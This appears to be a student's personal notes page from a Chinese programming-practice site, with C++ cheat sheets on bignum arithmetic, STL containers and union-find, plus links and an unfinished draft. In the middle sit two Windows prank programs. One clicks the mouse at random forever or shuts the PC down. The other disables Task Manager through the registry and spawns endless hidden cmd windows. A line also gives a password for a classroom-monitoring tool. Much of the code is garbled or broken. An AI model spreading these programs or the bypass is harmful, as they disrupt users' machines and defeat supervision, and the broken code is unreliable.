45 |
|
语文老师一回头,此地空杀黄鹤楼
数学老师一回头,二次函数对称轴
英语老师一回头,sorry加上3克油
历史老师一回头,世界大战再回首
体育老师一回头,乔丹改打乒乓球
信竞老师一回头,带着学生玩网游
化学老师一回头,二氧化碳变汽油
音乐老师一回头,打着节拍摇着头
物理老师一回头,阿基米德要跳楼
地理老师一回头,校门发生泥石流
美术老师一回头,蒙娜丽莎也风流
生物老师一回头,全班同学都梦游
政治老师一回头,人类发展到尽头
全体老师一回头,从此宇宙无地球
break continue
freopen("copycat.in", "r", stdin);
freopen("copycat.out", "w", stdout);
ykjjtest123456
unsigned int 超过int的范围
^是异或
位运算:<<向左移 >>向右移
ceil() 向上取整
floor() 向下取整
round() 四舍五入
abs() 绝对值
pow(a,b) a的b次方
sqrt() 开方
max(max(a,b),c)
sizeof() 数组类型的空间大小
vector 动态数组(高精度加法)
高精度加法
#include<bits/stdc++.h>
using namespace std;
vector add(vectora,vectorb){
if(a.size()<b.size())return add(b,a);
vectorc;
int t=0;
for(int i=0;i<a.size();i++){
t+=a[i];
if(i<b.size())t+=b[i];
c.push_back(t%10);
t/=10;
}
if(t>0)c.push_back(t);
return c;
}
int main(){
string a,b;
cin>>a>>b;
vectoraa,bb,cc;
//逆序
for(int i=a.size()-1;i>=0;i--)aa.push_back(a[i]-'0');
for(int i=b.size()-1;i>=0;i--)bb.push_back(b[i]-'0');
cc=add(aa,bb);//调用函数
for(int i=cc.size()-1;i>=0;i--)cout<<cc[i];//结果逆序输出
return 0;
}
高精度乘积
#include <bits/stdc++.h>
using namespace std;
vector mul(vector a, vector b) {
vector c(a.size() + b.size());
for (int i = 0; i < a.size(); i++) {
for (int j = 0; j < b.size(); j++) {
c[i + j] += a[i] * b[j];
}
}
int t = 0;
for (int i = 0; i < c.size(); i++) {
t = c[i] + t;
c[i] = t % 10;
t /= 10;
}
while (c.back() == 0 && c.size() > 1) c.pop_back();
return c;
}
int main() {
string a, b;
cin >> a >> b;
vector aa, bb, cc;
//逆序
for (int i = a.size() - 1; i >= 0; i--) aa.push_back(a[i] - '0');
for (int i = b.size() - 1; i >= 0; i--) bb.push_back(b[i] - '0');
cc = mul(aa, bb); //调用函数
for (int i = cc.size() - 1; i >= 0; i--) cout << cc[i]; //结果逆序输出
return 0;
}
高精度除法(除数是低精)
#include<bits/stdc++.h>
using namespace std;
vectordiv(vector a,int b,int &r){
vectorc;
for(int i=0;i<a.size();i++){
r=r*10+a[i];
c.push_back(r/b);
r=r%b;
}
return c;
}
int main(){
string a;
int b,r=0;
cin>>a>>b;
vector aa,cc;
for(int i=0;i<a.size();i++)aa.push_back(a[i]-'0');
cc=div(aa,b,r);
int i=0;
while (cc[i]==0&&i<cc.size()-1)i++;
for(;i<=cc.size()-1;i++)cout<<cc[i];
cout<<endl<<r;
return 0;
}
栈
1.stack s; 创建栈
2.s.push(a) 入栈
3.s.pop() 出栈
4.s.top() 查询栈顶元素
5.s.empty() 查询是否为空
6.s.size() 查询栈的元素个数
7.while(!s.empty())s.pop() 清空整个栈
队列
queue; 建立一个队列,其元素类型是int
q.push(a) 将元素a插入队列q的末尾
q.pop() 将q的队首元素删除
q.front() 查询q的队顶元素
q.back() 查询q的队尾元素
q.empty() 查询q是否为空
q.size() 查询q的元素个数
q.while(!q.empty()q.pop()) 清空整个队列
STL二分
binary_search(first,last,value) 判断元素在不在,在-true 不在-false
lower_bound(first,last,value) 查找第一个大于等于(value)的元素的地址,在-返回地址, 不在-返回n+1
upper_bound(first,last,value)-a 找第一个大于元素的地址,在-返回地址, 不在-返回n+1
reverse(s.begin(),s.end());反转
|
598 |
1500 |
53 |
|
100 / 100
<
好好刷题(mo yu)
不要乱复制
https://pan.baidu.com/s/1E7EUjgEZv9vwUMnpwKYJNQ?pwd=5du5
www.CrazyGames.com
https://yorg.io/
https://mp.weixin.qq.com/s?__biz=MzI3NjQzMTIwOQ==&mid=2247503977&idx=1&sn=d1e2906933124a9e43f002117e6336f1&chksm=eb77386fdc00b179ed04dc82eb777f5a9676edb236c4658906c531bbeb40af0ecef8fc5d0c52&scene=27
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
if(MessageBox(NULL,"你的电脑因为你不好好爱护,现在会出现一些问题,继续运行?","提示",MB_YESNO)==6){
srand(time(0));
int x=GetSystemMetrics(SM_CXSCREEN),y=GetSystemMetrics(SM_CXSCREEN);
for(;;){
SetCursorPos(rand()%x,rand()%y);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}else{
MessageBox(NULL,"你的电脑该休息了……","提示",MB_OK);
system("shutdown -s -t 3");
}
}
#include<bits/stdc++.h>
using namespace std;
int t, s[30010] = {0}, size[30010] = {0}, dis[30010] = {0};
int find(int x){
if(s[x] != x){
int t = s[x];
s[x] = find(s[x]);
dis[x] += dis[t];
}
return s[x];
}
void marge(int x, int y){
x = find(x), y = find(y);
s[x] = y;
dis[x] += size[y];
size[y] += size[x];
size[x] = 0;
return;
}
int main(){
char ch;
int a, b;
for(int i = 1; i <=30000; i++){
size[i] = 1, s[i] = i;
}
scanf("%d", &t);
for(int i = 1; i <= t; i++){
cin >> ch >> a >> b;
if(ch == 'M'){
marge(b, a);
}
else{
if(find(a) != find(b))
printf("-1\n");
else
printf("%d\n", abs(dis[a] - dis[b]) - 1);
}
}
return 0;
}
https://www.ccw.site/detail/644118b45f24dd508b2460c9?inviteCode=XVK38Wa44PRQY1yv
极域密码:mythware_super_password
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
HKEY hkey;
DWORD value =1;
RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\wincows\\CurrentVersion\\policies\\System",&hkey);
RegSetValueEx(hkey,"DisableTaskMgr",NULL,REG_DWORD,(LPBYTE)&value,sizeof(DWORD));
RegCloseKey(hkey);
while(1){
system("start cmd");
HWND hWnd=GetForegroundWindow();
ShowWindow(hWnd,SW_HIDE);
SetCursorPos(rand()%1000,rand()%1000);
}
return 0;
}
https://blog.csdn.net/wangyuhan2010/article/details/128836690
https://www.bilibili.com/video/BV19q4y1r7Ba/?spm_id_from=333.788.recommend_more_video.-1&vd_source=fa73e1639148a23f323cbf5155c8559f
临时笔记:
s.size():元素个数 O(1)
s.empty():是否为空 O(1)
s.clear():清空
s.insert(x):把元素x插入集合 O(log n)
s.find(x):在集合s中查找x O(log n)
s.lower_bound(x):查找>=x元素中最小的一个 O(log n)
s.upper_bound(x):查找>x元素中最小的一个 O(log n)
s.erase(it):it为迭代器,从集合中删除it指向的元素 O(k+log n)
s.count(x):返回集合中x元素的个数 O(k+log n)
set::iterator it;
for(it = s.begin();it<s.end();it++)
set和multiset的迭代器称为“双向访问迭代器”,不支持
“随机访问”,支持星号(*)解除引用,仅支持“++”和
“--”两个与算数相关的操作。
设it是一个迭代器,例如 set::iterator it;
it++:it指向集合中从小到大排序的下一个元素;
it--:it指向集合中从小到大排序的上一个元素;
map的定义:
map<key_type,value_type> map名;
例如:
map<long long,int> mp1; map<string,int> mp2;
与优先队列一样,key必须定义<运算符。
map的大部分操作时间复杂度为O(log n)
二、集合判断:
mp.size():元素个数
mp.empty():是否为空
mp.clear():清空
mp.size():元素个数
mp.empty():是否为空
mp.clear():清空
mp.begin():首迭代器
mp.end():尾迭代器
三、map操作:
(1)mp.insert():插入
因为map是一个key-value容器,所以插入的数据也应该是一个
二元组。二元组可以通过pair<key_type,value_type>
实现。例如:
map<int,int> mp;
mp.insert(make_pair(1,2));
二元组可以理解为两个变量打包,
新的变量包含两个数据,定义方式
如下:
pair<key_type,value_type> p;
赋值和使用:
p.first = 1 p.second = 2
pair<int,int> p;
p.first = 1;p.second = 2;
map<int,int> mp;
mp.insert(q);
(2) mp.erase():删除
删除操作可以是二元组(pair实现),也可以为迭代器。
例如:
map<int,int> mp;
mp.insert(make_pair(1,2));
方法一:
mp.erase(make_pair(1,2));
方法二:
map<int,int>::iterator it = mp.begin();
mp.erase(it);
三、map操作:
(3) mp.find(x):查找
在变量名为mp的map中查找key为x的二元组,并返回指向该二
元组的迭代器,若不存在返回mp.end(),时间复杂度O(log n)。
例如:
pair<int,int> p;
map<int,int> mp;
p = *mp.find(2);
使用p.first、p.second输出key值和value
map 第 8 页
三、map操作:
(4) [ ]操作符
mp[key]返回key映射到的value的引用,还可以进行赋值操作,
时间复杂度O(log n)。
注意:如果查找的key不存在会新建一个“空”值(value),即0或者
空的字符串等。所以使用[ ]前最好进行find检查。
例如:
cout<<mp[1];
map 第 9 页
三、map操作:
(5) map遍历
使用迭代器进行遍历,时间复杂度O(nlong n)。
两种方式,一种使用指针操作,另一种为指向操作。
for(it = mp.begin(); it != mp.end(); it++)
{
p = *it;
cout<<p.first<<' ‘<<p.second<<endl;
}
pair<int,int> p;
map<int,int>::iterator it;
it= mp.begin();
for(it = mp.begin(); it != mp.end(); it++)
cout<first<<' '<second<<endl;
临时文件:
#include<bits/stdc++.h>
using namespace std;
int j(int j){
if(j==1) return '+';
else if(j==2) return '-';
else if(j==3) return '*';
else if(j==4) return '/';
else;
}
int js(double a,char q,double b,char w,double c,char e,double d){
for(int i=1;i<=6;i++){
if(i==1) ji1(a,q,b,w,c,e,d);
else if(i==2) ji2(a,q,b,w,c,e,d);
// else if(i==3) ji3(a,q,b,w,c,e,d);
// else if(i==4) ji4(a,q,b,w,c,e,d);
// else if(i==5) ji5(a,q,b,w,c,e,d);
// else if(i==6) ji6(a,q,b,w,c,e,d);
}
}
int ji1(double a,char q,double b,char w,double c,char e,double d){//无括号
int u=1,i=1,o=1,p=1;
if(i==1&&u==1&&(q=='/'||q=='*')){
if(q=='/') a=a/b;
else q=a*b;
i=0;
u=1;
}
if(i==1&&o==1&&(w=='/'||w=='*')){
if(w=='/') b=b/c;
else w=c*b;
o=0;
i=1;
}
if(i==1&&o==1&&(e=='/'||e=='*')){
if(e=='/') c=d/c;
else e=d*c;
o=1;
u=0;
}
cout<<a<<' '<<b<<' '<<c<<' ';
}
int main(){
double a,b,c,d;
cin>>a>>b>>c>>d;
for(int q=1;q<=4;q++)
for(int w=1;w<=4;w++)
for(int e=1;e<=4;e++)
js(a,j(q),b,j(w),c,j(e),d);
return 0;
}
|
560 |
1500 |